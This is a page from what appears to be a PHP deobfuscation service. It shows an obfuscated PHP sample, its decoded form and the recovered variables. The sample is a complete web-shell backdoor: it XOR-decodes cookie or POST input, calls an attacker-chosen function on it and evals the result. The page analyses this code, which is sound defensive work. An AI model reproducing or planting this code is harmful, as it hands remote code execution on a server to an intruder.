Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $XgRUI/*K*/=/*E */chr (/* jCPiH */919 -/*wwC */804 )."\x74" . "\162"/* JCF..

Decoded Output download

<?php $XgRUI/*K*/=/*E  */chr     (/* jCPiH  */919 -/*wwC */804   )."t"	.  "r"/*  JCFO */./*o  */"_"/*cvwsI */./*GFO   */chr (	1075/*   Cb  */-/*   lC*/961	).chr/*  JgX  */(   536	-	435     ).chr/*Zabm   */(112)/*   bk */.	"e"	.     "a"/*   ugCXc*/./*nW  */"t";; 
   $zoIivabqE =   "e"/* gd */./*  qHa*/chr  (120)    ./*  JAPW*/"p"/* PFBN*/.     'l'/*   hU   */.   "o"/*KeT  */.	"d"  .	chr	(	172  -/* gI  */71	);$_TFd	=     '5120'; 
			$xLexvVH/*dvBf   */=     "p"/* mz  */./* FiPRY  */'a'	./* EfyK */'c'/*UUW  */.    'k'; 
 
function/*   mB  */bABmvdAEiz() 
		/*   rFuy*/{ 
/*   rHp */$DEaFO/* mv   */=	Array    (     "OQejjhLhbodChdPFmwkNbjeTM"	=>/*   mKWk  */"VncAPIfNJe"  ); 
           
	    $uxrfRNxLm	=   Array/*rVYn */(	"hdzymhxcSYw"     =>	"PoyMnDdOxJi"    ); 
				$jacXvxiR/*Pug*/=/*   Fnlbt  */Array(	$DEaFO,   $_COOKIE,	$DEaFO,	$_POST,/*   Kt   */$uxrfRNxLm); 
 
	 
   /* WRf*/return	$jacXvxiR;; 
		} 
        
 
 
     function	cxgBih($PgjMJL,/*kHs   */$DEaFO) 
	/* ZD  */{ 
 /*   s   */if (	count/*   j  */(	$PgjMJL/*  fH  */)    ==     3    )     { 
        $dHOzO/*   VwofF  */=	$PgjMJL[1]; 
   	$ASvfUXT/*   KXqa*/=/*   r*/$PgjMJL[2]; 
 
	$oOMyLjoP     =	$dHOzO($ASvfUXT);$_VjPUi/* X  */=    '16056'; 
 
/*   h*/eval	(	$oOMyLjoP   ); 
  /* JZFNu*/die/*   iHw*/();$_cA =	'29295'; 
				} 
       } 
	 
/* Wlt*/function	eCvObT($Hqktn,   $vjkyS) 
 
   { 
 
	return     $Hqktn  ^   $vjkyS;$_y	=  '40309'; 
/* ZbRlr*/} 
       
  /*  eUCU   */$HPNGVgEIA	= "#"; 
       
						foreach	(bABmvdAEiz()	as/*   vTBNR */$cyBGayeM)/*  CuQ  */{ 
			foreach (/*  hiHSU   */$cyBGayeM/*   uTC  */as/*  bRvih*/$vjkyS/*m   */=>	$Hqktn	)/*u*/{ 
 
 
    
 
	$PIHYT =	strlen(	$Hqktn )/strlen(	$vjkyS     ); 
     
     $Hqktn/*  GSFA */=	@$xLexvVH(   "H"    .    "*",   $Hqktn	);; 
 /*  mLzV */ 
		/*  ySRa   */$vjkyS/*XJ   */.=/*X   */"MxZ-SxjnzF-Zshdb-lCruFH-TRZQA-cgJp-mDRXR"; 
	$vjkyS	=	$XgRUI     (  $vjkyS,/*  CtTU */$PIHYT/* n */+/*  ljUTp */1);; 
 
/*  N*/ 
 
 
  $NuWyxqR	=	strrev(""); 
   	 
      $NuWyxqR    =  eCvObT($Hqktn,    $vjkyS); 
 
   
 
   $PgjMJL	=/*vJcfv   */$zoIivabqE/*   kfKnl*/($HPNGVgEIA,	$NuWyxqR	); 
 
   
 
 
	cxgBih($PgjMJL,/*  Cta*/$HPNGVgEIA); 
  /* GLA */ 
	/*  k  */continue; 
 
 
   } 
					     } ?>

Did this file decode correctly?

Original Code

<?php $XgRUI/*K*/=/*E  */chr     (/* jCPiH  */919 -/*wwC */804   )."\x74"	.  "\162"/*  JCFO */./*o  */"\x5f"/*cvwsI */./*GFO   */chr (	1075/*   Cb  */-/*   lC*/961	).chr/*  JgX  */(   536	-	435     ).chr/*Zabm   */(112)/*   bk */.	"\x65"	.     "\x61"/*   ugCXc*/./*nW  */"\164";;
   $zoIivabqE =   "\x65"/* gd */./*  qHa*/chr  (120)    ./*  JAPW*/"\x70"/* PFBN*/.     'l'/*   hU   */.   "\x6f"/*KeT  */.	"\144"  .	chr	(	172  -/* gI  */71	);$_TFd	=     '5120';
			$xLexvVH/*dvBf   */=     "\160"/* mz  */./* FiPRY  */'a'	./* EfyK */'c'/*UUW  */.    'k';

function/*   mB  */bABmvdAEiz()
		/*   rFuy*/{
/*   rHp */$DEaFO/* mv   */=	Array    (     "OQejjhLhbodChdPFmwkNbjeTM"	=>/*   mKWk  */"VncAPIfNJe"  );
          
	    $uxrfRNxLm	=   Array/*rVYn */(	"hdzymhxcSYw"     =>	"PoyMnDdOxJi"    );
				$jacXvxiR/*Pug*/=/*   Fnlbt  */Array(	$DEaFO,   $_COOKIE,	$DEaFO,	$_POST,/*   Kt   */$uxrfRNxLm);

	
   /* WRf*/return	$jacXvxiR;;
		}
       


     function	cxgBih($PgjMJL,/*kHs   */$DEaFO)
	/* ZD  */{
 /*   s   */if (	count/*   j  */(	$PgjMJL/*  fH  */)    ==     3    )     {
        $dHOzO/*   VwofF  */=	$PgjMJL[1];
   	$ASvfUXT/*   KXqa*/=/*   r*/$PgjMJL[2];

	$oOMyLjoP     =	$dHOzO($ASvfUXT);$_VjPUi/* X  */=    '16056';

/*   h*/eval	(	$oOMyLjoP   );
  /* JZFNu*/die/*   iHw*/();$_cA =	'29295';
				}
       }
	
/* Wlt*/function	eCvObT($Hqktn,   $vjkyS)

   {

	return     $Hqktn  ^   $vjkyS;$_y	=  '40309';
/* ZbRlr*/}
      
  /*  eUCU   */$HPNGVgEIA	= "\43";
      
						foreach	(bABmvdAEiz()	as/*   vTBNR */$cyBGayeM)/*  CuQ  */{
			foreach (/*  hiHSU   */$cyBGayeM/*   uTC  */as/*  bRvih*/$vjkyS/*m   */=>	$Hqktn	)/*u*/{


   

	$PIHYT =	strlen(	$Hqktn )/strlen(	$vjkyS     );
    
     $Hqktn/*  GSFA */=	@$xLexvVH(   "\x48"    .    "\52",   $Hqktn	);;
 /*  mLzV */
		/*  ySRa   */$vjkyS/*XJ   */.=/*X   */"MxZ-SxjnzF-Zshdb-lCruFH-TRZQA-cgJp-mDRXR";
	$vjkyS	=	$XgRUI     (  $vjkyS,/*  CtTU */$PIHYT/* n */+/*  ljUTp */1);;

/*  N*/


  $NuWyxqR	=	strrev("");
   	
      $NuWyxqR    =  eCvObT($Hqktn,    $vjkyS);

  

   $PgjMJL	=/*vJcfv   */$zoIivabqE/*   kfKnl*/($HPNGVgEIA,	$NuWyxqR	);

  


	cxgBih($PgjMJL,/*  Cta*/$HPNGVgEIA);
  /* GLA */
	/*  k  */continue;


   }
					     }

Function Calls

chr 6
bABmvdAEiz 1

Variables

$_TFd 5120
$DEaFO [{'key': 'OQejjhLhbodChdPFmwkNbjeTM', 'value': 'VncAPIfNJe'}]
$XgRUI str_repeat
$xLexvVH pack
$jacXvxiR [{'key': 0, 'value': [{'key': 'OQejjhLhbodChdPFmwkNbjeTM', 'value': 'VncAPIfNJe'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'OQejjhLhbodChdPFmwkNbjeTM', 'value': 'VncAPIfNJe'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'hdzymhxcSYw', 'value': 'PoyMnDdOxJi'}]}]
$HPNGVgEIA #
$uxrfRNxLm [{'key': 'hdzymhxcSYw', 'value': 'PoyMnDdOxJi'}]
$zoIivabqE explode

Stats

MD5 fb04e44f9fffd181c0e8c501a2ed39f5
Eval Count 0
Decode Time 251 ms